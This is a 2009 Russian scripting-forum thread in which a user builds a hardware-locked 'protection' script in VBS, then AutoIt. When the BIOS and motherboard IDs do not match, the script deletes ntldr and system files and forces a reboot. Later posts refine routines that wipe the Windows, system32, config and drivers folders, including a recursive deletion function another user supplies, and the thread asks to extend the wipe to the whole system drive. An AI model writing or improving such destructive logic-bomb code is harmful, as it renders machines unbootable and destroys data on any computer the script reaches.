![]() |
Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета. Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме. С уважением, ваш призрачный админ, BigMac... |
|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS |
|
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS
|
Ветеран Сообщения: 2756 |
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Option Explicit Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Dim objFSO, objShell, strSystemDrive Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 strPassword = "12345" Dim arrayAllowedHosts(3) arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3" arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series" arrayAllowedHosts(2) = "20020315000000.000000+000sis-645" arrayAllowedHosts(3) = "20010427000000.000000+0008363-686" Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objBIOS In arrayBIOS For Each objBaseboard In arrayBaseBoard strComputerHost = objBios.ReleaseDate & objBaseboard.Product For Each strAllowedHost in arrayAllowedHosts If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1 Next Next Next If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.DeleteFile ("C:\Protect.zip") objFSO.DeleteFile ("C:\PKUNZIP.EXE") objFSO.DeleteFile ("C:\PROTECTT.CMD") If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным. Помогите пожалуйста. |
|
Отправлено: 21:11, 21-02-2009 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, запускаю ваш вариант с одним и двумя == и ничего не происходит. А что должно быть? Должны выскакивать сообщения как я понимаю?
Pozia, ой. Надо было в самом скрипте поменять. Разобрался. В общем запускал такое:
При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. При отсутствии моего ID Bios скрипт об этом говорил и удалял mmm. Так должно быть? По поводу добовления ID BIOS я ошибся. Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да? |
------- Отправлено: 10:10, 27-02-2009 | #21 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
Цитата Pozia:
|
||
Отправлено: 10:31, 27-02-2009 | #22 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, дурак я!!! Вм6есто $iRes = RunWait("C:\mmm.txt") записал как должно быть $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) и закинул в диск С файлы PKUNZIP.exe и Protect.zip и все сработало как и должно быть!!! И первый ваш вариант рабочий когда записать одно =. В общем ОГРОМНОЕ СПАСИБО!!! Полностью протестирую работу с установкий ОСИ уже после выходных и сразу же отпишусь о результатах.
|
------- Отправлено: 10:36, 27-02-2009 | #23 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, вроде как работает нормально. Будут проблемы отпишусь. Вот только комп по команде Shutdown(29) выключается. А для перезагрузки как правильно записать?
amel27, нет не совсем нормально работает. Я удаляю вот это: FileSetAttrib("%SystemDrive%\*.*", "-SR") FileDelete("%SystemDrive%\*.*") FileDelete(@WindowsDir &"\*.*") FileDelete(@WindowsDir &"\L2Schemas\*.*") FileDelete(@WindowsDir &"\security\*.*") FileDelete(@WindowsDir &"\system\*.*") FileDelete(@SystemDir &"\config\*.*") FileDelete(@SystemDir &"\drivers\*.*") FileDelete(@SystemDir &"\oobe\*.*") FileDelete(@SystemDir &"\*.*") Удаляются файлы по выделенным командам. По остальным не хочет. Как правильно записать чтобы работало? |
------- Отправлено: 20:26, 01-03-2009 | #24 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
Цитата Pozia:
|
||
Отправлено: 07:17, 02-03-2009 | #25 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, удалял итак:
FileSetAttrib("%SystemDrive%\*.*", "-SR") FileDelete("%SystemDrive%\*.*") FileSetAttrib(@WindowsDir &"\*.*", "-SR") FileDelete(@WindowsDir &"\*.*") FileSetAttrib(@WindowsDir &"\L2Schemas\*.*", "-SR") FileDelete(@WindowsDir &"\L2Schemas\*.*") FileSetAttrib(@WindowsDir &"\security\*.*", "-SR") FileDelete(@WindowsDir &"\security\*.*") FileSetAttrib(@WindowsDir &"\system\*.*", "-SR") FileDelete(@WindowsDir &"\system\*.*") FileSetAttrib(@SystemDir &"\config\*.*", "-SR") FileDelete(@SystemDir &"\config\*.*") FileSetAttrib(@SystemDir &"\drivers\*.*", "-SR") FileDelete(@SystemDir &"\drivers\*.*") FileSetAttrib(@SystemDir &"\oobe\*.*", "-SR") FileDelete(@SystemDir &"\oobe\*.*") FileSetAttrib(@SystemDir &"\*.*", "-SR") FileDelete(@SystemDir &"\*.*") И все равно не так много удаляет как удалял обычный cmd файл запускаемый этим же скриптом с такими же путями удаления. В частности: FileDelete("%SystemDrive%\*.*") - удалило все FileDelete(@WindowsDir &"\*.*") - удалило все FileDelete(@WindowsDir &"\L2Schemas\*.*") - удалило все FileDelete(@WindowsDir &"\security\*.*") - удалило все FileDelete(@WindowsDir &"\system\*.*") - удалило намного меньше чем удаляет cmd файл FileDelete(@SystemDir &"\config\*.*") -ничего не удалило, даже тот файл что положил я сам туда методом svcpack и он не мог висеть в памяти так как ничем не используется FileDelete(@SystemDir &"\drivers\*.*") - удалило намного меньше чем удаляет cmd файл FileDelete(@SystemDir &"\oobe\*.*") - удалило все FileDelete(@SystemDir &"\*.*") - удалило намного меньше чем удаляет cmd файл Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше? |
------- Отправлено: 22:42, 03-03-2009 | #26 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
|
|
Последний раз редактировалось amel27, 04-03-2009 в 07:07. Отправлено: 06:11, 04-03-2009 | #27 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, с этой командой выскакивает сообщение: $Admin - системная папка. Удаление невозможно. И вообще ничего не удоляет. Есть еще какие нибудь варианты на удаление?
А почему Цитата amel27:
|
|
------- Отправлено: 00:10, 06-03-2009 | #28 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
C:\Windows C:\Windows\Fonts C:\Windows\System32 C:\Windows\Resources C:\Program Files C:\Program Files\Common Цитата Pozia:
Цитата Pozia:
![]() _DirRemoveAlt(@SystemDir) Func _DirRemoveAlt($sDIR) Local $hSearch, $sFile, $sPath $sDIR = StringRegExpReplace($sDIR, "\\+$", "") If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False) $hSearch = FileFindFirstFile($sDIR & "\*") If $hSearch = -1 Then Return SetError(2, 0, False) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop $sPath = $sDIR & "\" & $sFile If StringInStr(FileGetAttrib($sPath), "D") Then DirRemove($sPath,1) Else FileSetAttrib($sPath, "-RSH") FileDelete($sPath) EndIf WEnd FileClose($hSearch) Return SetError(0, 0, True) EndFunc |
|||
Отправлено: 11:36, 06-03-2009 | #29 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, предложенный скрипт изрядно пошерстил system32 чему я безгранично рад и благодарствую вас! Появилось два вопроса:
1. Можно ли сделать скрипт удаляющий все возможное по всему системному диску а не только в system32 (для надежности)? 2. Разъясните в двух словах алгоритм работы скрипта. Как он определяет что файл нельзя удалять (так как выскакивает ошибка) и что можно удалять? Так как я заметил что файл с расширением evt положенный мною лично в C:\WINDOWS\system32\config\ не удалился. Почему? На нем стоял только один атрибут - архивный. |
------- Отправлено: 20:44, 08-03-2009 | #30 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт | nod201 | Скриптовые языки администрирования Windows | 3 | 07-12-2009 10:53 | |
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs | nod201 | Скриптовые языки администрирования Windows | 0 | 05-12-2009 05:44 | |
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD | alex_frog | Скриптовые языки администрирования Windows | 6 | 22-07-2009 18:41 | |
Помогите, нужен скрипт vbs или wsh | Foxie | Microsoft Windows NT/2000/2003 | 3 | 18-01-2006 13:45 | |
VBS/WSH/JS - Скрипт на VBS | b0bi | Программирование и базы данных | 1 | 15-06-2004 19:15 |
|